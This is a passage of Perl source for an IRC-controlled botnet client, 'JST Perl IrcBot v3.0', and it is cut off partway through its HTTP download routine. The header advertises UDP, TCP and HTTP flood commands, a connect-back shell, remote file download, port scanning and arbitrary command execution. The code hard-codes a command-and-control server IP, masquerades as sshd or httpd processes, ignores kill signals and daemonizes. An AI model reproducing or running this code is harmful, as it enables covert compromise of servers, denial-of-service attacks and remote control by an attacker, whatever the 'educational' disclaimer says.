Attachment 'twink.pl'
Download 1 #!/usr/bin/perl
2
3 ######################################################################################################################
4 ######################################################################################################################
5 ## JST Perl IrcBot v3.0 / 2011 by FrankBlack @ Millenium Group ## [ Help ] ###########################################
6 ## Stealth MultiFunctional IrcBot writen in Perl #######################################################
7 ## Teste on every system with PERL instlled ## !u @system ##
8 ## ## !u @version ##
9 ## This is a free program used on your own risk. ## !u @channel ##
10 ## Created for educational purpose only. ## !u @flood ##
11 ## I'm not responsible for the illegal use of this program. ## !u @utils ##
12 ######################################################################################################################
13 ## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################
14 ######################################################################################################################
15 ## !u @join <#channel> ## !u @udp1 <ip> <port> <time> ## !u @cback <ip> <port> ##
16 ## !u @part <#channel> ## !u @udp2 <ip> <packet size> <time> ## !u @downlod <url+path> <file> ##
17 ## !u !uejoin <#channel> ## !u @tcp <ip> <port> <packet size> <time> ## !u @portscan <ip> ##
18 ## !u !op <channel> <nick> ## !u @http <site> <time> ## !u @mail <subject> <sender> ##
19 ## !u !deop <channel> <nick> ## !u @encode <word> ## <recipient> <message> ##
20 ## !u !voice <channel> <nick> ## !u @ctcpflood <nick> ## !u pwd;uname -a;id <for example> ##
21 ## !u !devoice <channel> <nick> ## !u @msgflood <nick> ## !u @port <ip> <port> ##
22 ## !u !nick <newnick> ## !u @noticeflood <nick> ## !u @dns <ip/host> ##
23 ## !u !msg <nick> ## ## ##
24 ## !u !quit ## ## ##
25 ## !u !uaw ## ## ##
26 ## !u @die ## ## ##
27 ## ## ## ##
28 ######################################################################################################################
29 ######################################################################################################################
30
31 my @rps = ("/usr/local/apache/bin/httpd -DSSL",
32 "/usr/sbin/httpd -k start -DSSL",
33 "/usr/sbin/httpd",
34 "/usr/sbin/sshd -i",
35 "/usr/sbin/sshd",
36 "/usr/sbin/sshd -D",
37 "/usr/sbin/apache2 -k start",
38 "/sbin/syslogd",
39 "/sbin/klogd -c 1 -x -x",
40 "/usr/sbin/acpid",
41 "/usr/sbin/cron");
42 my $process = $rps[rand scalar @rps];
43
44 my @rversion = ("\001VERSION - unknown command.\001",
45 "\001mIRC v5.91 K.Mardam-Bey\001",
46 "\001mIRC v6.2 Khaled Mardam-Bey\001",
47 "\001mIRC v6.03 Khaled Mardam-Bey\001",
48 "\001mIRC v6.14 Khaled Mardam-Bey\001",
49 "\001mIRC v6.15 Khaled Mardam-Bey\001",
50 "\001mIRC v6.16 Khaled Mardam-Bey\001",
51 "\001mIRC v6.17 Khaled Mardam-Bey\001",
52 "\001mIRC v6.21 Khaled Mardam-Bey\001",
53 "\001mIRC v6.31 Khaled Mardam-Bey\001",
54 "\001mIRC v7.15 Khaled Mardam-Bey\001");
55 my $vers = $rversion[rand scalar @rversion];
56
57 my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra",
58 "alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja",
59 "anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis",
60 "aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky",
61 "blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram",
62 "brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess",
63 "chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker",
64 "coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread",
65 "crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario",
66 "darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital",
67 "djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica",
68 "ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon",
69 "eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw",
70 "fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy",
71 "gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie",
72 "grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry",
73 "hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez",
74 "ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa",
75 "jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz",
76 "jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny",
77 "joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze",
78 "juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken",
79 "keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas",
80 "kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa",
81 "kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux",
82 "lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal",
83 "lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny",
84 "lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou",
85 "manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max",
86 "mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina",
87 "mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw",
88 "monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx",
89 "mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc",
90 "musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie",
91 "natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip",
92 "ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld",
93 "outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal",
94 "pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma",
95 "pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz",
96 "quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska",
97 "raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta",
98 "rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless",
99 "saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor",
100 "servant","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred",
101 "sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn",
102 "slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress",
103 "spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj",
104 "stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike",
105 "sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone",
106 "tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint",
107 "timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme",
108 "tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia",
109 "vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara",
110 "vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy",
111 "weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman",
112 "wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin",
113 "yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou",
114 "zwsiew","zwsiewale");
115 my $ircname = $rircname[rand scalar @rircname];
116
117 my @rrealname = ("4,1[ Jericho Security Team ]",
118 "4,1 /!\ Jericho Security Team /!\ ",
119 "12,1 <///8,1///4,1###> ",
120 "2,1---=== 4,1 Jericho Security Team 2,1===---");
121 chop (my $realname = $rrealname[rand scalar @rrealname]);
122
123 #############################
124 ##### [ Configuration ] #####
125 #############################
126
127 my @nickname =("abdenace","abdol","abdul","abdulkaf","abdullah","abdur","abhijit","abhiram","abraham","abrar","acacia","adam","adel","adi","adib","adine","adrianne","adrien","adrienne","aeneas","afrid","aggie","agnes","ahidee","ahmed","ahmet","aileen","aimee","ajai","ajay","akhil","akiko","alain","alamgir","alan","alastair","alayne","albatros","albert","alberto","alejandr","alena","alessand","alex","alexande","alexandr","alexendr","alexia","alfred","ali","alica","alice","alicia","alison","allah","allah-di","allan","allen","allison","alok","altaf","althea","alva","alvin","alyson","amanda","amar","amarjit","amarpree","ami","amos","amril","amy","an-jen","anant","ananth","anastasi","anchana","anders","andi","andre","andrea","andreas","andrew","andrzej","andy","aneliese","angel","angela","angie","ani","anil","anis","anita","anjana","anjen","ann","ann-mari","anna","anna-len","annalena","annalise","annamari","anne","anne-mar","annette","anni","annie","anthony","antoine","anton","antonio","antony","anu","anupa","anupam","anurag","april","aram","arash","arbenz","ardent","arelene","ari","ariella","arif","arijit","arindam","arjun","arjunasa","arlene","armand","armando","armond","arnold","aron","arshad","art","arthur","artie","arty","arun","aruna","arvind","asad","ashima","ashish","ashok","ashutosh","asjeet","athanass","athena","atlanta","atse","atul","audie","audra","audrey","august","augustin","aurelius","austin","avi","avni","avraham","azam","aziz","azizi","babak","bahram","bailey","balakris","balas","balasubr","baldo","balkrish","ballard","ban","bancroft","bang","barb","barbara","barney","barry","bart","barton","baskar","basuki","becky","behnam","bellow","ben","bengt","bengt-ar","benjamin","bennet","bennett","benoit","benson","bent","beny","beppe","beresfor","berhanu","bernard","bernhard","bernie","bert","beryl","beth","bethany","bettie","beverly","bhavani","bhoothap","biay","biay-che","bichnga","bienveni","biliamee","bill","billie","billy","bind","bing","binod","birget","birgetta","birgit","bizhan","bjorn","blaine","blair","blake","blss","bob","bobbi","bobby","boleslaw","bong","bonnie","boon","boon-hwe","boozie","bor","bor-rong","bor-wen","boris","boyd","brad","bradford","bradley","branisla","brat","brenda","brendan","brenden","brent","bret","breton","brett","brian","bridget","bridgett","brinkley","bromberg","bruce","bruno","bryan","bryce","bryn","bunny","burke","burton","busalacc","butch","byoung","byoungin","byung","byung-ho","byung-ji","byung-uk","cadat","cadweld","cal","caleb","calendar","calvin","cameron","camilla","camille","camlin","candace","canute","carey","carl","carlena","carlo","carlos","carlyle","carlyn","carmen","carol","carole","caroleen","carolie","caroline","carolyn","carrie","carrol","carver","cary","caryl","caryn","casey","caspar","cassie","catherin","cathi","cathleen","cathy","cecil","cecilia","celeste","celia","cesar","chad","chai","chain","chakkala","chan","chan-hon","chand","chandra","chandram","chandras","chanequa","chang","chang-ji","chang-ts","changho","changkyu","chanshin","chao","chao-fu","chao-li","chao-yan","chaofeng","charles","charlie","charlott","chas","chat","chau","chau-wen","chedsada","chen","cheng","cheow","cheow-to","cherala","cheryl","cheung","chi","chi-pang","chi-shun","chi-tai","chi-wang","chi-yao","chia","chia-hua","chia-lin","chia-yin","chia-yu","chien","chihsing","chilin","chin","chin-w","ching","ching-en","ching-li","ching-me","chinpan","chip","chisheng","chloe","cho","chol","choong","choong-h","chou","chris","chrispen","chriss","christian","christie","christine","christopher","christy","chu","chu-cheow","chuck","chuen-ch","chuen-ts","chun","chun-lin","chun-she","chun-yu","chung","chung-na","chung-pi","chung-ya","chungen","chungyen","chuong","churn-hu","cimarron","cindelyn","cindy","claire","clarisa","clarissa","clark","claude","claudia","cliff","clifford","clifton","clint","clinton","cloud","coe","cohen","colin","colleen","collette","collins","comandur","conner","connie","conrad","coralyn","corey","corinna","corinne","corky","corlene","cornelia","cosmo","courtney","coventry","craig","cronus","crug","cuong","curt","cynthia","cyril","daebum","daehyun","dain","dale","dalibor","dalit","dalu","damon","damrongs","dan","dana","dane","danh","daniel","danielle","danna","danni","danny","dante","daqing","darin","darrell","darren","darrin","darrow","darryl","darth","darwei","darwin","daryl","daryouch","dat","datoo","dave","david","davidovi","dawit","dawn","de'an","dean","deanna","deb","debasish","debbie","deborah","debra","dedi","dee","deepak","dekai","delnaz","delois","demeter","demo","denis","denise","dennis","denny","depeche","dept","dequin","derek","derluen","derrek","desaree","desmond","detleff","deven","dewayne","dewey","dexter","dhan","dhan-na","dharmara","dhiraj","dian","diana","diane","diann","dianne","dick","diego","dieter","dilip","dimitris","dina","dinesh","dipak","diplomac","dipta","dirk","doan","domain","domenico","dominic","dominick","don","donald","dong","dongming","donn","donna","dorab","dorai","dorcas","dori","doris","dorit","dorothy","doug","douglas","draxo","drazen","drew","dryden","duane","dug-kyoo","dunbar","duncan","dundee","dunn","dusty","dwain","dwane","dwayne","dwight","dylan","earl","eckart","ed","eddie","edgar","edmund","edouard","eduard","eduardo","edward","edwin","eileen","eirik","eka","ekaterin","eladio","elaine","elena","eleni","eli","elias","eliot","elisabet","elissa","elizabet","ellen","ellie","elliott","ellis","elmira","elmootaz","eloise","elvin","elvira","elwyn","emil","emile","emilio","emily","emmanuel","emmi","emory","enda","endah","enrique","enzo","eratea","erh","erh-huan","erhard","eric","erich","erik","erling","ernest","ernesto","ernie","ernst","ervan","esfandia","esmond","esther","ethan","eucc","euclid","eugene","eung","eunji","eva","evan","eve","evelyn","evie","exavier","eyal","faith","fang","farah","farhad","farrell","fasihudd","fataneh","faye","fayez","felicia","feliks","felix","fereydoo","field","finn","fleming","floyd","fon","fong","fong-jim","foram","forrest","france","frances","francesc","francis","francisc","frank","franklin","fred","freddy","frederic","frederik","fredric","french","friedric","friends","fritz","frog","fu","fu-hua","fu-jui","fu-zong","gabriel","gabriell","gad","gadi","gail","gala","galen","gamal","ganapath","gaoyuan","garp","garr","garrett","garry","garth","gary","gautam","gaven","gavriel","gedanken","gene","geof","geoff","geoffrey","georg","george","georgia","georgina","gerald","gerard","gerardo","gerd","gergory","gerry","gert","gholamal","giancarl","gil","gilbert","gilles","gilman","gina","ginger","gino","giovanne","giridhar","giuseppe","gladys","glen","glenda","glenn","gloria","gopalon","gopinath","gordan","gordon","gorog","goson","gould","grace","graeme","grant","greg","gregg","gregory","gretchen","grete","gripe","grissom","gsite","guenter","guillerm","gulukota","guozhong","gupi","gurjot","gus","guy","gwen","ha","hafidh","haftan","hai","haibo","hairil","hakan","hal","halt","hamid","hamlin","hammond","hampton","han-gyoo","hank","hans","hanspete","hao","hardi","hardison","harkara","harlan","harold","harrison","harrold","harry","harue","haruo","harvey","hasok","hassan","hauhua","havivah","hean","heather","hee","hee-sub","heeralal","heesung","heidi","heike","heinrich","heinz","helen","helena","helge","hemant","henning","henry","herb","herbert","herman","herve","heung","heung-do","hilarie","hillary","hillel","hiroguch","hiroki","hiroo","hiroshi","hiroyuki","ho","ho-chi","ho-ming","ho-shyan","hoa","hoang","hobbes","hok","holly","homayoum","hon","hon-kam","hong","hong-sup","hong-xia","hongphuc","hongtao","houcine","howard","howell","howie","hplab","hsin","hsiuwen","hspice","huasheng","hubert","huey","hugh","hugues","huiying","hundt","hung","hung-kan","hungmok","hunter","huong","huu","huyen","huzur","hwansoo","hye","hyman","hyo","hyon","hyoung","hyuk","iabg","ian","ibrahim","icap","icon","ignacio","ignatius","ihao","ikonas","ikuo","ilan","ilya","image","imin","imsl","inderpal","indira","indra","ingemar","ingmar","ingo","inigo","inna","ioana","iong","ira","irene","irfan","iris","irma","irving","isa","isaac","isel","ishmael","isi","isil","ismail","israel","isto","ivan","ivy","jack","jackie","jacob","jacques","jae","jaejin","jahanshi","jai","jaik","jaikne","jaikumar","jaime","jain","jake","jakov","james","jamie","jamilah","jamison","jan","jan-olof","jana","janaki","jane","janek","janel","janet","janice","jann","janna","janny","jared","jasho","jashvant","jason","jaspal","jasper","jatin","javed","jay","jayanta","jayanth","jayne","jayson","je","je-hurn","jean","jean-cla","jean-fra","jean-mar","jeananda","jeanette","jeanine","jeanne","jeannie","jed","jef","jeff","jeffery","jeffrey","jehan","jen","jenn","jenn-gan","jennie","jenny","jennifer","jens","jerald","jeremy","jerome","jerric","jerrimy","jerry","jesse","jessica","jesus","jethro","jethroh","ji","jiachen","jian","jian-she","jianli","jiann","jiann-yi","jianping","jianwen","jie","jihong","jikun","jill","jim","jimmin","jimmy","jin","jing","jinsheng","jiong","jiseong","jitendra","jnye","jo","jo-ann","joan","joann","joanne","joaquim","jocelyn","jody","joe","joel","joena","joerg","johann","johanna","john","johnny","joji","jole","jon","jonathan","jonell","jong","jong-i","jonggu","joni","jonny","jordan","jorean","jorge","jose","joseph","josh","joshua","josiah","joyce","juan","judi","judianto","judith","judy","jui","jui-fen","julayne","juli","julia","julian","juliana","juliann","julie","jun","juni","juping","just","justin","jutta","jvnc","jyh","jyh-chwe","jyh-shin","kacy","kadosh","kai","kai-dick","kai-yuen","kakogawa","kalappa","kalyan","kalyn","kam","kan","kan-lee","kang","kang-wuu","kara","karalee","karen","karl","kary","karyn","kasey","kashtan","katherin","kathi","kathleen","kathreen","kathryn","kathy","kati","katsufum","kaveh","kay","kaylen","kecia","kee","kees","keh","keh-chya","keh-ming","keith","kelley","kelly","ken","kenji","kenneth","kenny","kent","kenton","kenzo","keshav","kester","ketan","kevin","khanh","khayroll","khoanh","khoi","khong","khong-me","khoon-sa","khosrow","khueh","khueh-ho","khurshee","kian","kian-tat","kiang","kiang-sh","kianusch","kiat","kieu","kim","kimberly","kimmo","kimon","king","kinson","kip","kiran","kirk","kirsten","klaus","knute","koichi","koji","kok-kia","kongjoo","konrad","korda","kraig","kris","krishna","krishnam","krista","kristen","kristi","kristin","kristina","krystyna","kun","kun-tsun","kuo","kuo-juey","kurt","kwan","kwan-lin","kwang","kwok","kwong","kyahn","kyeongso","kyle","kyra","lager","lakshman","lalit","lalith","lalitha","lam","lambert","lan","lance","lancer","larry","laura","laurae","lauramae","lauren","laurence","laurenz","laurie","laurinda","laury","lawrence","leah","leann","leanne","lee","leison","leland","len","lena","lenore","leo","leon","leonard","leonid","les","leslie","lester","leticia","lewis","li","lien","liew","lillian","lilly","lily","lin","linc","linda","lindy","ling","linh","lionel","lisa","lise","livia","liwana","liz","liza","ljiljana","llewelly","lloyd","lois","loke","long","loren","lorenzo","loretta","lori","lorie","lorna","lorraine","lory","lotfi","lou","louie","louis","louisa","lounette","ltte","luana","luc","lucille","luigi","luis","luiz","luke","lung","lung-lun","luong","luther","lydia","lyle","lyndon","lynette","lynn","lynne","maddie","madhu","madhusud","mady","magdalen","maggie","mahbuba","mahesh","mahlon","mahmoud","maia","make","makoto","manahil","mandy","manfred","mangesh","mani","manish","manohar","manoj","manon","manuel","marc","marc-pau","marcel","marcella","marci","marcia","marcio","marco","marcus","marcy","marek","margalit","margaret","margarid","margarit","marge","margie","margo","maria","marian","marianne","marie","marietta","marilyn","marina","mario","marion","marius","marjory","mark","marko","markus","marlena","marlene","marrucci","marshall","martha","marti","martin","martiniq","marvin","mary","maryam","maryann","marzec","masahiro","masoud","masuhiro","matilda","matt","matther","matthew","matthias","matthieu","maureen","maurice","mauricio","mauro","max","maxine","maxwell","mazin","meekie","mel","melanie","melinda","melisa","melissa","mella","meltin","men-shen","mendel","merrell","michael","michel","michele","michell","michelle","miguel","mihail","mihran","mike","miki","mikko","mildred","milind","millard","millicen","milo","milton","mimi","mindy","mined","minerva","ming","ming-hor","ming-tzo","minghe","minh","minnie","minot","minye","miriam","misha","mission","missirli","mitch","mitchell","mogens","mohamed","mohammad","mohammed","mohan","moises","moishe","moja","molly","moni","monica","monika","montana","moon-jun","moorhty","moosehea","mora","morris","mose","moshe","mou","mousumi","mtichell","muamadin","muh","muh-cher","muhammad","mukesh","mukund","munaish","mundeep","murray","myra","myron","myrtle","myung","myung-yu","nabil","nader","naftaly","nalini","nan","nancy","nanette","naoto","narciso","narendra","natalia","natalie","nataraja","nathalie","nathan","nathanae","nathanie","naveen","ncar","neal","ned","neenie","neil","nelson","nena","neville","nghi","ngoc","nguyen","nicholas","nick","nicolas","nicole","niel","nigel","nightwal","nikhil","nikki","nikolaos","nilson","nina","nino","noam","nobuhiko","nobuko","nolan","nondet","nora","noreen","norene","norma","norman","noshir","octavia","oivind","ojrind","olin","oliver","olivia","olivier","ollie","omead","onstad","orville","osulliva","oswald","othar","oussama","owen","paddy","padma","paige","pallab","palmer","pam","pamela","pandora","pappas","paraskev","parkins","parviz","pat","patel","patrice","patricia","patrick","patsy","patti","patty","paul","paula","pauline","pawan","payman","pedro","peebles","peggy","peh","penny","pentti","peraka","perry","pete","peter","pham","phil","philip","philippe","phillip","philomena","phyllis","pierre","pieter","pin","pin-pin","ping","ping-san","piotr","pirie","play","poh","postel","prabhaka","prabhu","prabir","pradeep","pranab","prasad","prashant","pratap","pratt","pravin","preston","priscilla","prudence","pup","purnendu","qian","qinsong","quoc","rachel","radha","rafael","raffi","raghav","raghavan","raghu","ragunath","raid","raimund","raj","raja","rajadasa","rajeeb","rajeev","rajendra","rajiv","rakesh","ralph","ramachan","ramana","ramani","ramarao","ramaswami","ramchandra","ramesh","ramon","randal","randall","randolph","randy","ranjan","ravi","ray","raymona","raymond","rebecca","reed","reg","regina","reginald","regis","remy","rene","renee","rengaraj","rex","reza","rfs","rhett","rhona","rhonda","ricardo","riccardo","rich","richard","rick","ricki","ricky","riddle","rit","rita","rivi","rob","robert","roberta","roberto","robin","robley","robyn","rochelle","rocky","rod","rodger","rodney","roger","rohit","rokny","roland","rollin","rom","romy","ron","ronak","ronald","ronen","ronitt","rosa","rosemary","ross","roth","roxana","roy","royal","ruben","rudolf","rudy","ruey","ruey-jen","ruggieri","ruknet","ruoxin","russ","russell","rusty","ruth","ruye","ryan","ryohei","ryota","safaa","safwat","sai","said","saifalla","saikumar","sakti","sal","salah","salle","sally","salone","sam","samantha","samir","sammy","sampath","samtaney","samuel","samurai","sandgorg","sandra","sandy","sang","sangbang","sanh","sani","sanjay","sanjeev","santiago","santisuk","santo","sara","sarah","saroj","sashi","saul","schroede","sciubba","scot","scott","sea","sean","sechang","seho","sekhar","seonghoo","serge","seth","seung","seung-wo","seunghyu","seungku","sevak","seymour","shae","shahrokh","shalom","shamita","shan","shan-min","shana","shannan","shannon","shantanu","sharad","shari","shariyn","sharlene","sharon","sharra","shashank","shashi","shaun","shaw","shaw-min","sheela","sheila","shel","shelby","shelia","shelley","shelly","shen","sheng","sheng-jy","shenglu","shepherd","sherif","sherri","sherrie","sherry","sheryl","shi","shiahn","shiahn-w","shidan","shigenar","shigeo","shih","shih-chi","shih-lie","shihming","shimon","shin","shin-yua","shinobu","shirin","shirl","shirley","shiue","shiva","shivapra","shizoom","shlee","shlomo","sholom","shomita","shorty","shreeram","shu","shu-chie","shu-fan","shuang","shuhui","shun","shyng","sid","sidarta","sidharta","sidney","siemens","silvia","simon","simply","sina","siobahn","siri","siuping","sivakuma","soloman","soman","somasama","some","son","songmiao","songnian","sonia","sonja","sonya","soonman","soowon","sophie","sorel","soroor","sotiris","soua","soumitra","source","speed","spence","spencer","sph","spiro","spiros","spud","spyros","sridhar","srimat","srinivas","ssu","ssu-kuan","stacey","stacy","stamos","stan","stanley","stanly","stanton","star","starbuck","stefan","stefano","stemple","stephani","stephany","stephen","stephon","steve","steven","stewart","storem","stuart","su","su-lin","subhas","subhdail","subhednu","subodh","sudeshna","sudhakar","sudhir","sudir","sue","sue-elle","suesec","sugih","sukumar","sung","sung-cho","sunil","sunwei","suranet","suresh","susan","susanne","susha","sushila","suvendu","suvro","suzanna","suzanne","sven","swane","syam","sydney","sylveste","sylvia","sylvie","symult","tadahiro","tadlock","tai","tajen","tak","taka","takaji","takashi","takuji","tam","tamal","tamara","tamas","tammie","tandy","tania","tanju","tanya","tapas","tara","tatsuo","tatum","tayfur","taylor","tchen","ted","tee","temp","teresa","teri","terri","terrill","terry","tetsuo","thaddeus","thanasis","thanh","thavy","theodora","theodore","theresa","therese","theron","thiam","thierry","thilaka","thoi","thomas","thomson","thorsten","thu","thu-ji","thuy","thuy-lan","tian","tien-chi","tien-fu","tiffany","tijun","till","tim","timothy","tina","ting","ting-tin","tiw","tiziano","tjahjadi","tobias","toby","tod","todd","tohru","tom","toni","tony","topher","tor","torc","torsten","toshiaki","toshiter","toufic","tove","traci","tracy","tran","trent","trevor","tri","trieu","trina","trisha","truc","true-lon","tse","tsung","tsung-lu","tsutomu","tuan","tuomas","tuyen","twila","tzi","tzi-dar","tzila","tzl-cker","tzuwang","uday","udo","uhn","uhn-soon","uli","ulric","utpal","vahe","val","valerie","valerio","van","vance","vanessa","varkey","vasanth","vason","vassilio","vaughan","vee","veljko","veneto","venkat","venkatad","venkatar","venkates","vernon","veronica","vibeke","vibhu","vicki","vickie","vicky","victor","victoria","vigyan","vijay","vijaya","vikram","villa","vilma","vinay","vince","vincent","vinit","vinitha","vinod","vinodh","virginia","virginio","vishvjit","vispi","visvanat","vittorio","vivek","vivian","vlad","vladimir","vojin","wade","wai","waleed","walid","wally","walter","wandojo","wang","ward","warren","wayne","wei","wei-ming","wei-ning","weidong","weiheng","weinrich","weiping","welch","wen","wen-jing","wen-king","wen-mei","wen-miin","wendel","wendell","wendy","wengyik","wes","wesley","whey","whey-min","whitney","will","willen","william","willie","willy","wilson","win","winfred","wing","wojtek","won","wong","wonyun","woobin","woodrow","wooiyi","wun","wun-jou","wuntsin","wynne","xavier","xi","xiao","xiao-gua","xiao-lin","xiao-wei","xiaobo","xiaogang","xiaoli","xiaomin","xinghao","xue","xue-jun","xueqing","yael","yan","yang","yanjun","yaomin","yaser","yee","yeng","yeon","yeong","yeong-sh","yew-shin","yezi","yi","yi-bing","yiannis","yigal","yihua","yingsha","yishun","yogesh","yoichi","yolanda","yon","yon-chun","yonah","yong","yongdong","yongho","yonghwan","yongsam","yoshiaki","yoshio","youcef","youhanse","young","young-ba","young-ch","yu","yu-fang","yu-ti","yu-wen","yuan","yuan-shi","yuan-tsa","yuehwern","yugang","yuh","yuh-jiun","yuh-lin","yuji","yujiko","yuka","yukkei","yumi","yumiko","yung","yung-hsi","yung-yaw","yuqian","yuval","yvette","yvonne","zachary","zary","zhaoqian","zhaozhua","zhengkun","zhenyan","zhi","zhigang","zhishun","zhiwei","zhixin","zhongmin","ziv","ziyou","zonda","zoran","zwsiewale");
128 my $nick =$nickname[rand scalar @nickname];
129
130 $server = '45.148.10.84' unless $server;
131 my @ircport = ("21","8080","9999");
132 my $port = $ircport[rand scalar @ircport];
133
134 my $linas_max='8';
135 my $sleep='5';
136
137 my $homedir = "/tmp";
138 my $version = 'Jericho Security Team Perl Bot v3.0';
139
140 my @admins = ("evil");
141 my @hostauth = ("mfu.txt");
142 my @channels = ("#root");
143
144 my $pacotes = 1;
145 #################################################################
146 ##### [ Stop Editing if you dont know what are you doing. ] #####
147 #################################################################
148
149 $SIG{'INT'} = 'IGNORE';
150 $SIG{'HUP'} = 'IGNORE';
151 $SIG{'TERM'} = 'IGNORE';
152 $SIG{'CHLD'} = 'IGNORE';
153 $SIG{'PS'} = 'IGNORE';
154
155 use Socket;
156 use IO::Socket;
157 use IO::Socket::INET;
158 use IO::Select;
159
160 chdir("$homedir");
161
162 $server="$ARGV[0]" if $ARGV[0];
163 $0="$process"."\0"x16;;
164 my $pid=fork;
165 exit if $pid;
166 die "Can't fork in background: $!" unless defined($pid);
167
168 our %irc_servers;
169 our %DCC;
170 my $dcc_sel = new IO::Select->new();
171 $sel_cliente = IO::Select->new();
172 sub sendraw {
173 if ($#_ == '1') {
174 my $socket = $_[0];
175 print $socket "$_[1]\n";
176 } else {
177 print $IRC_cur_socket "$_[0]\n";
178 }
179 }
180
181 sub getstore ($$)
182 {
183 my $url = shift;
184 my $file = shift;
185 $http_stream_out = 1;
186 open(GET_OUTFILE, "> $file");
187 %http_loop_check = ();
188 _get($url);
189 close GET_OUTFILE;
190 return $main::http_get_result;
191 }
192
193 sub _get
194 {
195 my $url = shift;
196 my $proxy = "";
197 grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
198 if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
199 my $host = $1;
200 my $port = $2 || 80;
201 my $path = $3;
202 $path = "/" unless defined($path);
203 return _trivial_http_get($host, $port, $path);
204 } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
205 my $host = $1;
206 my $port = $2;
207 my $path = $url;
208 return _trivial_http_get($host, $port, $path);
209 } else {
210 return undef;
211 }
212 }
213
214
215 sub _trivial_http_get
216 {
217 my($host, $port, $path) = @_;
218 my($AGENT, $VERSION, $p);
219 $AGENT = "get-minimal";
220 $VERSION = "20000118";
221 $path =~ s/ /%20/g;
222
223 require IO::Socket;
224 local($^W) = 0;
225 my $sock = IO::Socket::INET->new(PeerAddr => $host,
226 PeerPort => $port,
227 Proto => 'tcp',
228 Timeout => 60) || return;
229 $sock->autoflush;
230 my $netloc = $host;
231 $netloc .= ":$port" if $port != 80;
232 my $request = "GET $path HTTP/1.0\015\012"
233 . "Host: $netloc\015\012"
234 . "User-Agent: $AGENT/$VERSION/u\015\012";
235 $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
236 $request .= "\015\012";
237 print $sock $request;
238
239 my $buf = "";
240 my $n;
241 my $b1 = "";
242 while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
243 if ($b1 eq "") {
244 $b1 = $buf;
245 $buf =~ s/.+?\015?\012\015?\012//s;
246 }
247 if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
248 }
249 return undef unless defined($n);
250 $main::http_get_result = 200;
